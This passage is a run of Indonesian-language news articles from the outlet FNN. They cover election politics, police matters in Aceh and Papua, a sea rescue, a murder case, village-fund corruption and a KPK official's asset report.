yang ia tangkap adalah saat mengunjungi Cianjur ke Pesantren Gentar dan Kampung Gentur. "Mereka semua berdoa agar Partai Gelora menjadi pemenang. Itu memang kelihatannya basa-basi politik, tetapi saya mempunyai satu insting yang kuat sekali mengenai harapan mereka ini." katanya. Dengan harapan mereka ini, lanjutnya, Partai Gelora akan menciptakan suara bagi yang tak punya tempat bersuara seperti pohon, bayi dll. "Pohon memang tidak bisa bicara, tetapi bisa kita jadikan suara dengan tanam pohon. Kita juga bisa jadikan bayi dalam kandungan jadi lumbung suara Partai Gelora. Mau tahu caranya, nanti akan kita deklarasikan pada hari Ibu, 22 Desember. Bayi dalam kandungan bisa kita libatkan dalam pemenangan Partai Gelora," ungkapnya. Keyakinan Partai Gelora menghadapi Pemilu 2024, menurutnya, didasarkan ada kekuatan utama yang harus diyakini secara riuh dari kenyataan. Artinya, tanpa seizin Allah SWT yang terjadi di dunia ini akan terjadi dan tidak terjadi. "Tetapi dengan izin Allah SWT, Insya Allah cita-cita Partai Gelora dalam mewujudkan Indonesia dalam mewujudkan 5 besar dunia dikabulkan, termasuk menghadapi pemilu," katanya. Anis Matta menilai, Partai Gelora adalah partainya kaum fakir miskin, wong cilik atau rakyat. Ini partai kau mustad'afin (orang orang lemah) kata Anis Matta. Hal ini terbukti dari anggota Partai Gelora sekitar 60 persen berpendidikan SD-SMA. "Ini sudah benar ini artinya, karena Partai Gelora jadi partai rakyat. Jadi kita bikin strategi 'O Poin O, anda akan mengerti sendiri nanti di lapangan, tidak perlu saya jelaskan," katanya. Anis Matta menambahkan, Partai Gelora akan meruntuhkan tembok atau sekat yang menyebabkan polarisasi di masyarakat, yang selama ini menghalangi untuk saling bekerjasama, saling berinteraksi dan berkolaborasi. "Tema kita sama, bahwa kita sedang menghadapi krisis, kita punya persoalan sama. Semua harus bekerjasama, berinteraksi, dan berkolaborasi menjadikan Indonesia lima besar dunia," katanya. Anis Matta menegaskan, Partai Gelora mengetahui cara menjadikan Indonesia menjadi 5 besar dunia secepatnya, asalkan memenangi pemilu. "Kalau orang tanya kepada kita, berapa jarak antara hari ini dengan Indonesia menjadi lima besar dunia. Jangan tanya berapa jauhnya, tapi Partai Gelora tahu cara yang mendekatkan yang jauh-jauh itu. Makanya tadi saya tanya ke kang Hayul (Haris Yuliana, Ketua DPW Jawa Barat) apa artinya 'Aink Metal' itu, metal ternyata menang total. Insya Allah," pungkasnya. Konsolidasi Dapil Bogor Raya juga dihadiri Wakil Ketua Umum Fahri Hamzah, Sekretaris Jenderal Mahfuz Sidk, Bendahara Umum Achmad Rilyadi, Ketua Bangter II Achmad Zairofi, fungsionaris DPN, caleg DPR RI Dapil Bogor Raya dan Ketua DPW Jabar Haris Yuliana. Juga dihadiri ratusan pengurus dan kader dari DPD Kabupaten/Kota Bogor dan Kabupaten Cianjur. (sws)

Kapolda Koordinasi Dengan Wali Nanggroe Jelang Milad GAM

Banda Aceh, FNN - Kapolda Aceh Irjen Ahmad Haydar melakukan pertemuan koordinasi dengan Wali Nanggroe Aceh Paduka Yang Mulia Tgk Malik Al Haythar menjelang milad GAM yang diperingati 4 Desember 2021. Kepala Bagian Humas dan Kerja Sama Wali Nanggroe M Nasir Syamaun di Banda Aceh, Jumat, 3 Desember 2021, pertemuan antara Wali Nanggroe dengan Kapolda beserta jajarannya berlangsung selama hampir satu jam. "Pertama kami berkunjung ke Wali Nanggroe untuk silaturahmi. Kedua melihat situasi daripada objek vital yang menjadi pengamanan," kata M Nasir Syamaun mengutip penyataan Kapolda Aceh usai bertemu Tgk Malik Al Haythar. M Nasir Syamaun mengatakan Kapolda Aceh menyebutkan ada beberapa titik pengamanan, dan beberapa titik penyekatan. Ini menjadi fokus kepolisian, khususnya 4 Desember ini agar tercipta keamanan, kedamaian, dan kelancaran seluruh masyarakat Aceh dalam kehidupan sehari hari. Kapolda Aceh, kata M Nasir Syamaun, juga menyampaikan imbauan kepada masyarakat menjaga keamanan dan ketertiban di wilayah masing masing, khususnya 4 Desember. “Kapolda mengingatkan masyarakat tidak euforia, seperti konvoi ke sana kemari, serta tindakan lainnya yang akan mengganggu keamanan serta ketertiban masyarakat," tutur M Nasir Syamaun, sebagaimana dikutip dari Antara, Ia mengatakan Kapolda berkeyakinan kerja sama dengan ulama, tokoh masyarakat, wartawan, dan seluruh pihak lainnya, pelaksanaan acara 4 Desember dengan doa dan zikir bersama terlaksana dengan baik Sementara itu, Wali Nanggroe Tgk Malik Al Haythar mengimbau kepada semua pihak untuk dapat bekerja sama dalam menciptakan keamanan dan kenyamanan memperingati milad GAM tahun ini. "Wali Nanggroe menyampaikan berterima kasih atas kunjungan Kapolda Aceh dan para pejabat utama Polda Aceh yang siap mendukung dan membantu terlaksananya peringatan milad 4 Desember ini," ujarnya. (MD).

Emanuel Herdiyanto: Cuitan Romo Benny Susetyo Bukan Sikap Gereja Katolik

Jakarta, FNN - Romo Benny Susetyo murka cuitannya tentang MUI dikritisi banyak orang dan dianggap melanggar etika. Lewat tim pengacara pimpinan Petrus Selestinus, Benny ngancam memenjarakan lima tokoh gerakan Pro Demokrasi, Adhie M Massardi, Rocky Gerung, Natalius Pigai, Refly Harun dan Hersubeno Arief. Adhie M Massardi, salah satu yang terancam dipenjarakan karena dianggap mengkritisi cuitan Benny Susetyo sudah menunjuk pengacara untuk menghadapi pemolisian yang dilakukan kuasa hukum Benny Susetyo. “Saya belum berkoordinasi dengan Rocky, Refly, Pigai dan Hersu. Pada saatnya kami akan bergerak bersama melawan ‘ketengilan” Benny Susetyo ini. Tapi saya sudah memberikan kuasa kepada Emanuel Herdiyanto SH,” katanya. Dihubungi secara terpisah, Emanuel Herdiyanto SH membenarkan sudah diberi kuasa oleh Adhie Massardi. “Benar. Tadi malam saya dihubungi via HP oleh salah satu senior saya Bang Adhie Massardi untuk mendampingin beliau sebagai kuasa hukum dalam kaitannya dengan cuitan (tweet) Romo Benny Susetyo yang sekarang telah menjadi persoalan hukum,” katanya. “Terus terang saya sangat respek pada beliau, terutama dulu saat masih aktif di sebagai Sekjen PP PMKRI, saya sering sekali bertemu dan berdiskusi bahkan terlibat aksi bersama di Gerakan Indonesia Bersih (GIB). Oleh karenanya saya menyatakan diri menerima permintaan beliau.” “Ada beberapa hal yang membuat saya bersedia. Pertama, secara profesi, sebagai advokat saya diikat oleh sumpah untuk selalu menegakkan hukum dalam segala situasi, dan permintaan Bang Adhie adalah kehormatan bagi profesi saya sebagai advokat.” “Kedua, saya sendiri agak kaget dengan cuitan Romo Benny yang kemudian direspon teman-teman dan para senior pejuang Pro Demokrasi. Menurut saya kurang tepat jika pernyataan itu dikemukakan oleh seorang Romo yang juga dikenal sebagai aktivis.” “Nah, pada persoalan Romo Benny yang dikenal sebagai aktivis, saya merasa heran jika komentar atau reaksi klien saya kemudian ditanggapi sebagai delik. Aktivis kan harusnya tidak boleh tersinggung, sebab diskusi atau komentar adalah dialektika gagasan untuk menemukan keadaan baru yang mungkin saja membenarkan pendapat dia atau bisa jadi menyempurnakan, atau sebaliknya.” “Terkait konten cuitan Romo Benny tentang MUI itu, saya yakin itu bukanlah sikap Gereja Katolik, lebih pada pernyataan pribadi. Katakanlah Romo Beny, sebagai aktifis, hendak berdiskusi terkait penangkapan pengurus Majelis Ulama Indonesia (MUI) oleh Densus 88, dan pernyataan pembukanya dalam kejadian tersebut adalah seperti cuitannya lalu, mengapa harus tersinggung dan menjadikannya delik pidana?” “Namun demikian, sebagai hak hukum, silakan saja dilaporkan, dan saya percaya tidak mudah untuk memaksa kepolisian menjadikan persoalan demikian sebagai delik. Apalagi cuitan awal Romo Benny sendiri jauh lebih berpotensi delik.” “Ada baiknya, ini saran hukum untuk dipertimbangkan pihak Romo Benny, agar melakukan klarifikasi dengan meminta maaf kepada masyarakat terkait cuitannya, dan mencabut laporan polisi yang sudah di buatnya.” (sws)

Perahu Motor Los Kontak Tujuan Sulsel Berhasil Ditemukan

Palu, FNN - Kantor SAR Pencarian dan Pertolongan/Basarnas Palu mengatakan perahu motor Hercules yang berlayar dari Kabupaten Banggai Kepulauan, Provinsi Sulawesi Tengah, tujuan Kabupaten Selayar, Sulawesi Selatan, berhasil di temukan dan dengan semua penumpang selamat. Kepala Kantor SAR Palu Andrias Hendrik Johanes di kota Palu, Jumat mengatakan, perahu motor Hercules di temukan KMN Tiga Putri yang sedang melintas sekitar 46 mil laut sebelah utara Pulau Menui, Sulawesi Tengah, di koordinat 2°47'58.79"S 122°56'6.92"T.45, atau 103.93 derajat dari titik duga los kontak. "Tiga orang penumpang dinyatakan selamat dan dalam kondisi sehat," ucap Andrias. Dari penemuan itu, KMN Tiga Putri langsung mengambil langkah evakuasi menuju Pelabuhan Samudera Kendari, Sulawesi Tenggara, dan diprediksi tiba pada Jumat dini hari. Ia mengemukakan, informasi diperoleh dari pihak keluarga korban, perahu motor Hercules di temukan pada Kamis (2/12), dan saat itu juga tim SAR gabungan langsung berkoordinasi dengan Kantor SAR Kendari untuk membantu proses evakuasi dan pendataan korban. "Perahu motor Hercules tiba di Pelabuhan Samudera Kendari pada Pukul 01.00 WITA dini hari, dan korban langsung dilakukan penanganan keselamatan sebelum diserahkan kepada pihak keluarga," tutur Andrias. Kapal motor yang ditumpangi tiga orang itu, berangkat dari Pelabuhan Desa Mata Maling, Kecamatan Buko, Banggai Kepulauan pada Rabu (29/11) Pukul 05.00 WITA dengan rute melintas perairan Bungku, Kabupaten Morowali dan rencananya merapat ke Kendari untuk kepentingan pengisian bahan bakar. Tiga penumpang tersebut masing-masing atas nama Minto Kuamanto (27) jenis kelamin laki-laki warga Banggai Kepulauan, kemudian Robert (48) jenis kelamin laki-laki sebagai nahkoda warga Kabupaten Selayar dan istrinya Heni (49). "Peristiwa ini sudah terjadi sekitar tiga hari. Kami baru mendapat laporan dari warga, dan kami langsung mengerahkan tim dari Pos SAR Kabupaten Morowali untuk melakukan pencarian," ujarnya. Dengan ditemukannya perahu motor Hercules, maka operasi SAR kali ini dinyatakan selesai dan pihak-pihak yang terlibat dalam kegiatan pencarian telah kembalikan ke kesatuan masing-masing. "Kurang lebih 15 personel SAR gabungan terlibat dalam kegiatan ini. Kami juga berterima kasih kepada pihak-pihak terkait yang sudah turut membantu," demikian Andrias. (sws)

Polres Kayong Utara Gelar Pemecatan Tidak Hormat Tiga Personel

Pontianak, FNN - Polres Kayong Utara menggelar upacara pemecatan tidak dengan hormat terhadap tiga personelnya sesuai dengan Surat Keputusan Kapolda Kalbar KEP/519/X/2021 kepada pada Brigpol W, Bripka P dan Brigpol N. "Pemecatan terhadap tiga personel ini sebenarnya sudah turun pada bulan Oktober 2021 lalu, namun baru diupacarakan secara resmi. Setelah surat keputusan turun, upacara pemecatan digelar. Pemecatan ini lakukan karena yang bersangkutan telah dinyatakan melanggar kode etik profesi Polri," ujar Kapolres Kayong Utara AKBP Bambang Sukmo Wibowo saat dihubungi di Sukadana, Jumat. Secara simbolis, Kapolres mencoret foto ketiga personel yang diberhentikan karena ketiganya tidak hadir dalam upacara tersebut. Upacara berjalan lancar dan tertib. Kapolres mengatakan, upacara pemberhentian tidak dengan hormat merupakan momen keprihatinan tapi bukan untuk bersedih. Saat ini adalah sarana kontemplasi bagi seluruh anggota Polres Kayong Utara untuk memahami dan menghayati arti pengabdian dan rasa syukur. "Seharusnya hal ini tidak terjadi karena proses pemecatan ini memakan waktu cukup panjang. Namun karena ketiganya tidak juga menunjukkan perubahan perilaku dan mental maka pemecatan adalah jalan terbaik untuk membersihkan organisasi dari sampah yang tidak berguna. Saya terus mengimbau dan mengajak seluruh jajaran personel Polri di Kayong Utara untuk terus menjalankan tugas dan pengabdian dengan sebaik - baiknya," katanya. (sws)

Potret Keterwakilan Perempuan di Lembaga Penyelenggara Pemilu

Semarang, FNN - Hingga detik ini pembuat undang-undang, pemerintah dan Dewan Perwakilan Rakyat (DPR) RI, belum berencana mengubah Undang-Undang Pemilihan Umum dan UU Pemilihan Kepala Daerah. Praktis tidak ada nuansa lain dalam pelaksanaan pemilu dan pilkada pada tahun 2024. Pemilu dan Pilkada 2024 akan diselenggarakan tanpa perubahan UU Pemilu. Pemilu lima kotak akan terselenggara kembali seperti halnya Pemilu 2019. Begitu pula, pemilihan kepala daerah akan berjalan tanpa perubahan UU Pilkada. Kompleksitas teknis Pemilu 2019 dan problematika berpotensi berulang pada Pemilu 2024. Bahkan, tumpukan beban kerja penyelenggaraan pemilu dan pemilihan bisa memengaruhi profesionalitas dan integritas penyelenggara pemilu. Artinya, juga bisa berdampak pada kinerja dan kondisi kesehatan demokrasi Indonesia. Terobosan dan inovasi kepemiluan sepenuhnya mengandalkan inovasi Komisi Pemilihan Umum (KPU) dan aturan main dalam peraturan KPU dan peraturan Badan Pengawas Pemilihan Umum (Bawaslu) untuk penguatan kapasitas personel, penggunaan teknologi, penyesuaian teknis, dan lain-lain. Padahal, kata anggota Dewan Pembina Perludem Titi Anggraini, peraturan KPU/Bawaslu banyak keterbatasan daya jangkau. Di sinilah dibutuhkan sosok penyelenggara pemilu yang kuat, otonom, kompeten, inovatif, inklusif, dan berwawasan global. Kuat dalam penguasaan substansi kepemiluan maupun kuat secara fisik dan psikologis. Mereka juga harus mampu berlaku otonom atau memiliki hak dan kekuasaan menentukan arah tindakannya sendiri dalam mengambil keputusan sebagai penyelenggara pemilu tanpa meninggalkan konsultasi dan pelibatan partisipasi para pemangku kepentingan pemilu. Penyelenggara pemilu harus punya kompetensi yang memadai untuk menyusun kebijakan sekaligus melakukan berbagai fungsi sebagai penyelenggara pemilu. Secara terukur dan proporsional, mereka mampu berinovasi dan melahirkan terobosan yang relevan guna merespons dan mengurai kompleksitas, kerumitan, dan dinamika penyelenggaraan pemilu dan pilkada serentak pada tahun 2024 di tengah masifnya penggunaan teknologi dan tantangan penyebaran hoaks politik/pemilu. Pelaksanaan pada Pemilu/Pilkada 2024 dibutuhkan penyelenggara pemilu dengan paradigma inklusif di tengah situasi post truth era dan polarisasi politik yang membelah. Hal ini, kata pegiat pemilu Titi Anggraini, agar orientasi pelayanan penyelenggara pemilu maksimal dan adil bagi semua pemangku kepentingan. Di samping itu, penyelenggara pemilu mampu membangun jejaring global untuk melaksanakan praktik terbaik dalam penyelenggaraan pemilu, kemudian berdasarkan keluasan pengetahuan kepemiluan sekaligus memerankan diplomasi demokrasi internasional untuk mengukuhkan kualitas demokrasi Indonesia di mata dunia. Penyelenggara pemilu juga mampu membangun relasi sinergis di antara KPU, Bawaslu, dan DKPP tanpa menggadaikan kemandirian masing-masing lembaga. Fungsionalisasi forum tripartit dan komunikasi kelembagaan yang sehat, dialektika langsung, bukan dengan perantara media. Tidak hanya itu, harapan pada seleksi bakal calon anggota KPU dan bakal calon anggota Bawaslu masa jabatan 2022—2027 menelurkan sosok penyelenggara pemilu yang mampu mengerjakan aspek teknis secara cermat, teliti, dan detail. Namun, tetap dalam kerangka berpikir atau paradigma yang terhubung dan menyeluruh. Dengan demikian, tidak terjebak pada egosektoral divisi atau pembagian kerja secara parsial. Keterwakilan Perempuan Apabila kriteria di atas dimiliki perempuan, kemungkinan besar keterwakilan perempuan sekurang-kurangnya 30 persen dalam lembaga penyelenggara pemilu bakal terwujud, sebagaimana amanat Undang-Undang Nomor 15 Tahun 2011 tentang Penyelenggara Pemilihan Umum. Saat ini Tim Seleksi (Timsel) Calon Anggota KPU/Bawaslu RI Periode 2022—2027 tengah menyeleksi bakal calon penyelenggara pemilu untuk mendapatkan 48 calon anggota KPU/Bawaslu. Di tengah Timsel bertugas, ada masukan dari sekumpulan perempuan yang secara individual menggabungkan diri dalam Maju Perempuan Indonesia (MPI). Komunitas yang merupakan gerakan pemenuhan, pemajuan, dan perlindungan perempuan di bidang politik di Indonesia ini mendorong Timsel Calon Anggota KPU/Bawaslu RI Periode 2022—2027 mewujudkan 30 persen keterwakilan perempuan sebagai penyelenggara pemilu. (Sumber: ANTARA, 1 Desember 2021). Apa yang disampaikan MPI kepada Timsel via daring, Rabu (1/12), merupakan hal yang wajar. Apalagi anggota MPI berlatar belakang beragam, antara lain aktivis kemanusiaan, pendamping korban, anggota partai politik, jurnalis, profesional, anggota dan pimpinan lembaga negara, kepala daerah, tenaga edukatif, anggota organisasi kemasyarakatan, dan anggota organisasi keagamaan. Berdasarkan catatan MPI yang disampaikan oleh Koordinator MPI Lena Maryana Mukti kepada Ketua Timsel Juri Ardiantoro beserta Wakil Ketua Chandra Hamzah dan Sekretaris Bachtiar serta anggota Timsel lainnya disebutkan bahwa jumlah perempuan di KPU/Bawaslu RI alami penurunan. Pada Pemilu 1999, misalnya, terdapat lima perempuan dari 30 orang panitia pengawas (panwas), yaitu Miriam Budiarjo, Zakiah Daradjat, Roesita Noer, Titi Anggraini, dan Ari Purwanti. Jumlah ini kemudian mengalami penurunan pada Pemilu 2004. Tercatat ada dua perempuan di KPU RI, yakni Chusnul Mar'iyah dan Valina Singka. Sementara itu, di Bawaslu RI hanya Nurjanah Djohantini. Pasca-UU Nomor 22 Tahun 2007 yang mengamanatkan 30 persen keterwakilan perempuan dalam penyelenggara pemilu, terpilih 30 persen perempuan (Endang Sulastri, Sri Nuryanti, dan Andi Nurpati) di KPU RI, dan 50 persen lebih (Wahidah Suaib, Wirdyaningsih, dan Agustiani T.F. Sitorus) di Bawaslu RI sebagai penyelenggara Pemilu 2009. Persoalan muncul pada Pemilu 2014. Timsel selalu menyiapkan 30 persen keterwakilan perempuan dalam daftar calon penyelenggara pemilu. Akan tetapi, DPR hanya memilih satu perempuan untuk KPU dan Bawaslu. Pada Pemilu 2014 hanya Ida Budhiati di KPU, sementara di Bawaslu hanya Endang Wihdatiningtyas. Pemilihan umum berikutnya, Pemilu 2019, terulang hal yang sama. Hanya terpilih Evi Novida Ginting untuk KPU, dan Dewi Pettalolo untuk Bawaslu. MPI lantas berharap penyelenggara Pemilu 2024 lebih banyak perempuan di dalam lembaga penyelenggara pemilu. Jika tersedia 50 persen perempuan yang berkualitas dan berintegritas, Timsel didorong untuk memuat keterwakilan perempuan 50 persen dalam daftar nama calon penyelenggara pemilu yang disampaikan kepada Pemerintah. Oleh karena itu, Timsel tampaknya perlu melakukan seleksi dengan pendekatan affirmative action terhadap perempuan, yakni memenuhi keterwakilan perempuan minimal 30 persen pada setiap tahapan seleksi. Begitu nama calon penyelenggara pemilu sampai di tangan wakil rakyat, perlu pula diperhatikan komposisi keanggotaan KPU dan Bawaslu RI minimal 30 persen dari total masing-masing lembaga penyelenggara pemilu. Kendati demikian, DPR tidak boleh mengabaikan ketangguhan dan kompetensi kaum hawa. (sws)

Kapolda Koordinasi Dengan Wali Nanggroe Jelang Milad GAM

Banda Aceh, FNN - Kapolda Aceh Irjen Ahmad Haydar melakukan pertemuan koordinasi dengan Wali Nanggroe Aceh Paduka Yang Mulia Tgk Malik Al Haythar menjelang milad GAM yang diperingati 4 Desember 2021. Kepala Bagian Humas dan Kerja Sama Wali Nanggroe M Nasir Syamaun di Banda Aceh, Jumat, pertemuan antara Wali Nanggroe dengan Kapolda beserta jajarannya berlangsung selama hampir satu jam. "Pertama kami berkunjung ke Wali Nanggroe untuk silaturahmi. Kedua melihat situasi daripada objek vital yang menjadi pengamanan," kata M Nasir Syamaun mengutip penyataan Kapolda Aceh usai bertemu Tgk Malik Al Haythar. M Nasir Syamaun mengatakan Kapolda Aceh menyebutkan ada beberapa titik pengamanan, dan beberapa titik penyekatan. Ini menjadi fokus kepolisian, khususnya 4 Desember ini agar tercipta keamanan, kedamaian, dan kelancaran seluruh masyarakat Aceh dalam kehidupan sehari hari. Kapolda Aceh, kata M Nasir Syamaun, juga menyampaikan imbauan kepada masyarakat menjaga keamanan dan ketertiban di wilayah masing masing, khususnya 4 Desember. “Kapolda mengingatkan masyarakat tidak euforia, seperti konvoi ke sana kemari, serta tindakan lainnya yang akan mengganggu keamanan serta ketertiban masyarakat," tutur M Nasir Syamaun. Ia mengatakan Kapolda berkeyakinan kerja sama dengan ulama, tokoh masyarakat, wartawan, dan seluruh pihak lainnya, pelaksanaan acara 4 Desember dengan doa dan zikir bersama terlaksana dengan baik Sementara itu, Wali Nanggroe Tgk Malik Al Haythar mengimbau kepada semua pihak untuk dapat bekerja sama dalam menciptakan keamanan dan kenyamanan memperingati milad GAM tahun ini. "Wali Nanggroe menyampaikan berterima kasih atas kunjungan Kapolda Aceh dan para pejabat utama Polda Aceh yang siap mendukung dan membantu terlaksananya peringatan milad 4 Desember ini," ujarnya. (sws)

Polisi Ungkap Pelaku Pembunuhan Ibu dan Bayi di Proyek SPAM

Kupang, FNN - Direktorat Reskrimum Polda NTT menyatakan RB telah mengaku sebagai pelaku utama pembunuhan dalam kasus penemuan jenazah seorang ibu dan bayinya di lokasi penggalian saluran pipa SPAM Kali Dendeng, di Kelurahan Penkase, Kota Kupang. "Yang bersangkutan sudah mengaku bahwa dia yang melakukan perbuatan tersebut yang mengakibatkan korban meninggal dunia dan dikubur di dalam lokasi penggalian saluran pipa SPAM Kali Dendeng, Kelurahan Penkase," kata Direktur Reserse Kriminal Umum Polda NTT Kombes Pol Eko Widodo di Kupang, Jumat. Hal ini disampaikannya berkaitan dengan hasil pemeriksaan sementara terhadap RB yang pada Kamis (2/12) pukul 12.00 WITA. Pelaku menyerahkan diri ke Polda NTT dalam kasus penemuan jenazah ibu dan bayi tersebut. Namun kata Eko walaupun RB telah mengaku bahwa dialah pelaku pembunuhan terhadap mantan pacar dan ayah biologis dari bayi yang dibunuh tersebut, tetapi polisi tidak bisa langsung menetapkan RB langsung sebagai tersangka. "Kita tidak bisa langsung menetapkan yang bersangkutan sebagai tersangka dalam kasus ini. Kita masih selidiki lebih jauh lagi," ungkap dia yang ditemani oleh Kapolres Kupang Kota AKBP Satrya. Ia mengatakan bahwa penyelidikan lebih lanjut akan terus dilakukan untuk mengungkap motif dibalik kasus meninggalnya dua korban ibu dan anak itu. Disamping itu juga penyelidikan lanjutan akan terus dilakukan untuk mencari tahu bukti-bukti baru dari kasus tersebut. Sebelumnya RB diantar oleh keluarganya ke Polda NTT untuk menyerahkan diri dalam kasus tersebut. Kasus ini mulai terungkap setelah Polres Kupang Kota berhasil mengungkap identitas jenazah dari seorang wanita dan bayi yang ditemukan terkubur dengan balutan kantong kresek di dalam lokasi penggalian saluran pipa SPAM Kali Dendeng, Kota Kupang, pada akhir Oktober 2021 lalu. Korban perempuan bernama Astri Evita Seprini Manafe (AESN) yang berusia sekitar 30 tahun, dan Lael Maccabe (LM), bayi berusia satu tahun. Korban merupakan warga Jalan Perintis Kemerdekaan, Kelurahan Kelapa Lima, Kecamatan Kelapa Lima, Kota Kupang. Astri sendiri adalah mantan pacar dari RB yang telah menjalin hubungan sejak masih di bangku sekolah menengah atas (SMA) di Kota Kupang. Tetapi dalam perjalanan hubungan mereka kandas. RB pun mempunyai pasangan baru kemudian menikah dan memiliki anak. Tetapi secara diam-diam RB diketahui kembali menjalin hubungan dengan Astri yang kemudian berujung pada Astri Hamil dan melahirkan Lael anak yang dibunuhnya setelah berusia satu tahun. (sws)

Kejari Tahan Bendahara Desa di Seruyan Diduga Korupsi Rp1,18 Miliar

Kuala Pembuang, FNN - Kejaksaan Negeri Seruyan, Kalimantan Tengah menahan bendahara Desa Tumbang Laku, Seruyan Hulu, berinisial SH, setelah ditetapkan sebagai tersangka dugaan korupsi Anggaran Dana Desa (ADD) tahun 2016, 2017, dan 2019 dengan total kerugian negara Rp1,182 miliar. "Anggaran itu tidak digunakan sebagaimana mestinya. Bahkan ada anggaran yang dicairkan tetapi tidak dilaksanakan untuk pembangunan, namun diduga digunakan untuk kepentingan pribadi oleh mantan kades berinisial SP," kata Kepala Kejaksaan Negeri Seruyan Romi Rojali di Kuala Pembuang, Jumat. Dia mengatakan, dari hasil pemeriksaan khusus oleh APIP (Inspektorat Seruyan) ditemukan kerugian negara yakni belanja lanjutan pembangunan sarana dan prasarana fisik balai pertemuan desa tahun anggaran 2015 terdapat kekurangan volume fisik senilai Rp6,37 juta. Romi mengatakan terdapat belanja pembelian pembangunan dan pengembangan usaha desa bibit ayam petelor pakan ayam Tahun Anggaran 2015. Belum ada hibah tanah milik mantan kepala desa, belanja pembangunan sarana dan prasarana sosial (pembangunan mesjid Nur Iman) tahun anggaran 2016, terdapat realisasi fisik tidak dikerjakan sejumlah Rp331 juta. Kemudian, belanja pembangunan sarana dan prasarana pendidikan pembangunan ruangan PAUD tahun anggaran 2016, terdapat realisasi fisik yang tidak dikerjakan sejumlah Rp140 juta, belanja pembangunan sarana dan prasarana fisik sosial pembangunan Masjid Nur Iman tahun anggaran 2017 terdapat realisasi fisik tidak dikerjakan sejumlah Rp275 juta. Selain itu, belanja pembangunan jalan desa tahun anggaran 2017, terdapat kekurangan volume fisik Rp9,25 juta, pembangunan sarana air bersih tahun anggaran 2018 belum selesai fisiknya hanya sebagian terpasang. Belanja peningkatan air bersih tahun anggaran 2019, terdapat realisasi fisik tidak dikerjakan sejumlah Rp273 juta. "Terakhir terdapat pajak belum disetor bukti setor tidak ada dari tahun anggaran 2017, 2018 dan 2019 Tahap I senilai Rp111 juta," beber dia. Ia menambahkan, pemeriksaan terhadap SP saat ini belum dilakukan mengingat beberapa kali dilakukan pemanggilan belum pernah datang dan berdasarkan informasi yang bersangkutan tidak berada di Desa Tumbang Laku. Tersangka terdeteksi berada di daerah Kalbar sedangkan keluarganya anak dan istri tinggal tetap berada di desa tersebut. "Kami menunggu itikad baik mantan kades untuk datang dan mempertanggungjawabkan perbuatannya, jika tidak kunjung datang juga maka kami akan masukan yang bersangkutan sebagai DPO (Daftar Pencarian Orang)," tegasnya. Kajari itu menambahkan, tidak menutup kemungkinan akan ada tersangka lainnya mengingat ada beberapa pencairan anggaran selalu dibuat rekomendasi atau disetujui untuk pencairannya, padahal telah dilakukan verifikasi baik di lapangan (fakta) maupun administrasi. (sws)

Nurul Ghufron Jelaskan Soal Harta Kekayaannya yang Naik

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Nurul Ghufron menjelaskan mengenai harta kekayaannya yang mengalami kenaikan sejak menjabat sebagai pimpinan lembaga antirasuah tersebut. "Merespons pemberitaan tentang LHKPN (Laporan Harta Kekayaan Penyelenggara Negara), perlu saya sampaikan pertama saya terima kasih atas perhatiannya dan berbangga atas pengawasan dan kontrol publik yang sudah berjalan baik terhadap aparat negara berdasarkan LHKPN. Semoga bermanfaat untuk menjaga integritas penyelenggara negara contohnya dalam hal ini kepada saya," kata Ghufron dalam keterangan yang diterima di Jakarta, Kamis (2/12). Ia menjelaskan bahwa asetnya kebanyakan tanah dan bangunan yang dibelinya dari lelang negara. "Biasanya, terhadap objek yang sudah lelang ke-3 atau harga likuidasi sehingga harga pembeliannya relatif murah. Selanjutnya, saya renovasi dan saya jadikan rumah atau kosan, kadang saya jual kembali setelah renovasi atau kadang saya renovasi untuk usaha kosan," ungkap Ghufron. Ia mengaku memiliki tiga kos-kosan yang berlokasi di Jember, Jawa Timur dengan total sekitar 70 kamar. "Masa COVID-19 ini "income"-nya relatif turun tetapi dalam pelaporan LHKPN saya laporkan bukan saja sebagai harga pasar rumah, namun saya laporkan sebagai rumah kosan yang nilainya bisa menjadi dua kali lipat dari harga belinya," kata dia. Selain itu, Ghufron juga memiliki usaha kolam pancing yang luasnya sekitar 1 hektare. "Saya juga punya usaha kolam pancing luasnya lebih dari 1 hektare. Untuk usaha ini di masa COVID-19 masih bertahan sehingga kenaikan LHKPN tersebut lebih karena penyesuaian nilai harta dari masa perolehan dengan saat sekarang ketika saya laporkan dalam LHKPN," ujar Ghufron. Sebagaimana pengumuman LHKPN dari laman https://elhkpn.kpk.go.id diakses Kamis (2/12), Ghufron memiliki total kekayaan Rp13.489.250.570 yang dilaporkannya pada 2020, sementara harta kekayaan yang dilaporkannya pada 2019 senilai Rp9.230.857.661 atau naik sekitar Rp4,25 miliar. Adapun rincian harta kekayaannya pada 2020, Ghufron memiliki 13 tanah dan bangunan senilai Rp11.080.000.000, alat transportasi Rp297.000.000, harta bergerak lainnya Rp162.769.600, surat berharga Rp500.000.000, kas dan setara kas Rp2.706.880.970, dan harta lainnya Rp121.600.000. Namun, Ghufron juga melaporkan memiliki utang Rp1.379.000.000. Dengan demikian total harta kekayaannya senilai Rp13.489.250.570. Sementara untuk harta kekayaannya pada 2019, Ghufron tercatat memiliki 12 bidang tanah dan bangunan senilai Rp8.220.000.000, alat transportasi Rp472.000.000, harta bergerak lainnya Rp137.977.500, kas dan setara kas Rp982.880.161. Ia juga tercatat memiliki utang senilai Rp582.000.000 sehingga total kekayaan yang dilaporkannya pada 2019 senilai Rp9.230.857.661. (sws)

Polda Papua Barat: Masyarakat Jangan Terprovokasi Isu Pembakaran PT BKI

anokwari, FNN - Kepolisian Daerah (Polda) Papua Barat mengimbau masyarakat tidak termakan isu provokatif dalam peristiwa pembakaran tempat penampungan atau basecamp PT. Bangun Kayu Irian (BKI) di wilayah Kabupaten Maybrat pada 1 Desember 2021. Kepala Bidang (Kabid) Humas Polda Papua Barat Kombes Adam Erwindi dalam keterangan pers di Manokwari, Kamis malam mengatakan bahwa dugaan sementara pembakaran tempat penampungan PT.BKI dilakukan oleh oknum bekas karyawan dengan motif sakit hati karena dipecat. "Oknum bekas karyawan PT BKI berinisial LK diduga melakukan pembakaran terhadap basecamp yang berlokasi di wilayah Kabupaten Maybrat lantaran sakit hati dipecat pihak perusahaan," katanya. Adam Erwindi mengatakan bahwa dugaan keterlibatan LK dalam pembakaran tempat penampungan PT.BKI diperkuat dengan aksi pemalangan yang dilakukan oleh pelaku dua hari sebelumnya. “Pada 28 November LK memalang basecamp, kemudian pada 1 Desember dilakukan pembakaran sebelum melarikan diri,” ujar kabid humas. Hal ini ditegaskan Kabid Humas Polda Papua Barat menyusul beredarnya kabar 